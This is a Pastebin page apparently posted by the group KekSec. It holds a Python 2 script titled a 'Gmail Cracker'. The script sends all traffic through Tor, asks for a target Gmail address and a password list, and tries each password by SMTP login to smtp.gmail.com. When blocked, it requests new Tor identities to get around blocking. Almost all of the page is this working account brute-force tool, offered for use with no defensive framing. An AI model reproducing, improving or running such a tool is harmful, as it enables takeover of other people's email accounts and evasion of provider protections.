KekSec

[Tor] Gmail CrAckEr coded by Milenko in 20 mins

Apr 14th, 2017
633
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.30 KB | None | 0 0
  1. import smtplib
  2. import socket
  3. import socks
  4. import time
  5. socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  6. socket.socket = socks.socksocket #set everything to go through the Tor network, including smtplib
  7.  
  8. print "--------------------------------------------------"
  9. print "----- Gmail Cracker for Kik coded by Milenko -----"
  10. print "-----         Coded April 14th, 2017         -----"
  11. print "--------------------------------------------------"
  12. print
  13.  
  14. targetEmail = raw_input("Target gmail address: ")
  15. passwordList = raw_input("Password list to use: ")
  16.  
  17. pwList = open(passwordList, "r").read().split() #Load passwords from file
  18.  
  19. def getNewTorIdentity():
  20.     try:
  21.         tor_c = socket.create_connection(("127.0.0.1", 9051))
  22.         tor_c.send('AUTHENTICATE "{}"\r\nSIGNAL NEWNYM\r\n'.format(TOR_CTRL_PWD))
  23.         response = tor_c.recv(1024)
  24.         if response != '250 OK\r\n250 OK\r\n':
  25.             sys.stderr.write('Unexpected response from Tor control port: {}\n'.format(response))
  26.         else:
  27.             print "[+] Successfully got new Tor identity!"
  28.     except Exception, e:
  29.         sys.stderr.write('Error connecting to Tor control port: {}\n'.format(repr(e)))
  30.  
  31. def tryConnect():
  32.     try:
  33.         mailserver = smtplib.SMTP('smtp.gmail.com',587)
  34.         # identify ourselves to smtp gmail client
  35.         mailserver.ehlo()
  36.         # secure our email with tls encryption
  37.         mailserver.starttls()
  38.         # re-identify ourselves as an encrypted connection
  39.         mailserver.ehlo()
  40.         print "[+] Connected to gmails SMTP"
  41.         return mailserver
  42.     except:
  43.         time.sleep(10)
  44.         print "[.] Failed to connecto to gmails SMTP. Switching Tor identities...."
  45.         getNewTorIdentity()
  46.         tryConnect()
  47.  
  48. print "[+] Starting brute..."
  49.  
  50. mailserver = tryConnect()
  51.  
  52. for pw in pwList:
  53.     print "[.] Trying " + pw
  54.     try:
  55.         try:
  56.             mailserver.login(targetEmail, pw)
  57.             time.sleep(5); #If we got here we logged in!!!
  58.             mailserver.quit()
  59.             print "[+] Brute successful! Password is " + pw + " for " + targetEmail
  60.         except smtplib.SMTPAuthenticationError:
  61.             continue
  62.     except: #cant connect to gmail or blocked by gmail
  63.         mailserver = tryConnect()
  64. print "[.] Brute finished. No password found."
Add Comment
Please, Sign In to add comment